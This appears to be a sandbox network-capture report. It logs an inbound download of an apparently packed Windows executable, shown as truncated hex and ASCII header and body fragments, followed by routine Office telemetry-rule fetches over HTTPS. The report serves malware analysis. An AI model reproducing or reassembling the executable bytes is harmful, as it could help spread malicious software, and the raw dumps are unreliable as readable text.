b2 b8 3d 10 33 b8 3c 10 ac ea b6 10 b3 b8 3c 10 ac ea a8 10 b3 b8 3c 10 ac ea ad 10 b3 b8 3c 10 52 69 63 68 b2 b8 3c 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 18 5b c6 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 7c 05 00 00 ec 00 00 00 00 00 00 00 00 4a 00 00 10 00 00 00 90 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 30 4a 00 00 04 00 00 6f 7c 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$RC<<<<<<~G<=3<<<<Rich<PEL[d\|J@0Jo\|[o`8I P@.rsrc8`<@.idata @ )@yrbxgaxj0@bdluzbcbI@.taggant0J"@
Nov 28, 2024 11:06:59.240977049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 11:06:59.240993023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 11:06:59.241115093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 11:06:59.241130114 CET	1236	IN	Data Raw: cd 51 19 12 35 75 56 c8 34 cc 5a df 01 6f cb c1 15 2c 55 ab 20 e6 d2 16 6e 70 58 82 d7 4e 32 7f 81 d1 a6 75 44 79 67 84 03 09 26 e9 2f d1 07 de 05 19 b9 a5 06 5f 47 59 b0 78 4c a8 bb 0e 51 be 83 95 91 26 07 80 44 93 4b bf 6c 44 0f 3c 9d 90 c4 0d Data Ascii: Q5uV4Zo,U npXN2uDyg&/_GYxLQ&DKlD<<pR}k#ddtf]w;p~Yi9<if5HXSNC#{qb1HxCc/\|RiMTOp6tW1Qb*Q_CZCmRQo
Nov 28, 2024 11:06:59.241151094 CET	1236	IN	Data Raw: 89 d9 fe 3b 5a c2 d2 ff d1 e4 e9 44 d7 d0 ea 98 86 d8 f7 a2 0b 9a a6 26 3a 6a 44 38 d8 6c 88 a5 27 70 04 ec bc c0 2f a5 ca 61 2e 39 dc 60 56 bc c0 18 42 c0 b0 0c 41 74 b6 0e 2e 26 d4 70 3d 9b 87 5f 04 bf 4a 7b 13 d3 26 01 e2 c0 0f 08 b8 75 74 56 Data Ascii: ;ZD&:jD8l'p/a.9`VBAt.&p=_J{&utVW/e$Hd01Kl&:C#cxsx,r.,xT.AXX0.ij>S/#'+?LK/[.T
Nov 28, 2024 11:06:59.241307020 CET	1236	IN	Data Raw: cf 64 5d 2a e4 7c 99 f5 4d 40 22 4d 23 98 3e a3 ce c4 06 bf a9 b7 09 ee 93 12 7d 83 da 18 2e 07 6f 9d 38 d7 27 f5 ae a3 d1 87 ac 60 81 18 44 f3 17 00 33 db 53 f0 9d 18 ac b1 d8 90 13 58 2e 7b c4 48 27 ca 70 93 e3 09 40 bf 7c b9 a7 e7 0e a8 38 d8 Data Ascii: d]*\|M@"M#>}.o8'`D3SX.{H'p@\|87/,%g)7g3/3y.f#yV['HXfX/l0v-D322/ARbq9DYOh:)Mc~g1
Nov 28, 2024 11:06:59.241331100 CET	1236	IN	Data Raw: 24 d8 fa de e0 e5 10 70 82 54 e6 f2 63 e8 31 bb 20 d8 66 ab 54 11 56 6d 1c 8a c6 40 cc 60 61 9b 1c 7c 04 70 2a 65 ee 07 39 09 46 cf fb f8 64 8c e4 7d 14 e5 d0 29 34 cd cf 38 80 20 11 18 77 8f e0 41 53 31 4a 4b 5f 1b d4 e0 c1 9f 10 58 90 3e e0 33 Data Ascii: $pTc1 fTVm@`a\|pe9Fd})48 wAS1JK_X>3Vacp16:8rvj[.fzPee7<eF'0w)6W&{](>fK0FHt2Q4X;3NpKhx/RrPc>>`DP
Nov 28, 2024 11:06:59.241347075 CET	1236	IN	Data Raw: 54 04 2d a4 3a 08 04 47 34 98 88 d9 2f 28 47 9b 67 49 09 50 1f f5 7e 56 f8 7b 1d 3d 1e a0 67 57 51 3f ff af c7 e4 19 23 a5 1f 7d 84 15 2a fa 8c 32 28 54 94 22 47 79 27 11 00 72 e7 15 d9 dc 26 c4 9a 04 99 3f bb a7 ba 77 10 41 cb b5 5c 31 66 c2 1d Data Ascii: T-:G4/(GgIP~V{=gWQ?#}*2(T"Gy'r&?wA\1ftYB5:2\|YU5PGHsDHXWPXYb_ER@]VLYKTiwPmuO`~KdI{yBer`vlk
Nov 28, 2024 11:06:59.241364002 CET	1236	IN	Data Raw: 97 9f ff 38 d7 ed 9f 24 80 eb 28 96 0b 8c 26 cc 82 a4 54 0c 3d 1d 19 d8 0c 13 80 00 05 5f 07 ac f7 d9 38 44 b5 da df 10 be d9 72 d3 07 3a bf f9 45 94 36 be eb bd 4a bc a5 48 75 0f e5 6d f6 b7 00 28 a8 14 52 07 a7 ea e2 f8 eb c0 5f 5d c6 f6 d6 52 Data Ascii: 8$(&T=_8Dr:E6JHum(R_]R17a##i~J.`wb@j52:3)w;?bz."l>eV4ppTE8qPeZ=Z4Hk^#2Tw/
Nov 28, 2024 11:06:59.361391068 CET	1236	IN	Data Raw: 57 d3 d1 cd 06 b2 2c 85 24 bc f9 c7 7d b0 4e 6f 18 44 05 b7 47 54 bc 2c 36 de 3b 13 02 40 05 b7 e7 90 ae 76 f7 11 24 be 65 05 9d 37 e4 35 d2 f2 b5 08 ac 92 44 7f 48 57 04 4d 9e 3c 32 99 7c 73 4a d6 8d f5 fa fe 43 8a 04 37 66 1d 72 87 30 18 fb df Data Ascii: W,$}NoDGT,6;@v$e75DHWM<2\|sJC7fr0AGLRh\s},Vv)`rw'<O4(%\S/mTg[>gI])EF#%&[SD/t+)@56_i}zUK

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49701	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:01 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:02 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:01 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 27 Nov 2024 15:11:14 GMT ETag: "0x8DD0EF5BC53602D" x-ms-request-id: a5a19dc6-401e-008c-1dff-4086c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100501Z-174f78459684bddphC1EWRbht40000000y30000000001aq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:02 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-28 10:05:02 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-28 10:05:02 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-28 10:05:02 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-28 10:05:02 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-28 10:05:02 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-28 10:05:02 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-28 10:05:02 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-28 10:05:02 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-28 10:05:02 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49703	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:05 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:05 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100505Z-174f78459688l8rvhC1EWRtzr00000000avg000000005ygd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:05 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:05 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:05 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 969f6466-401e-0029-7d40-409b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100505Z-174f7845968ljs8phC1EWRe6en0000000y7g000000000eca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:05 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:05 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:05 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2ca1f14f-f01e-001f-3f2a-405dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100505Z-174f7845968px8v7hC1EWR08ng0000000yhg0000000042zg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:05 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" 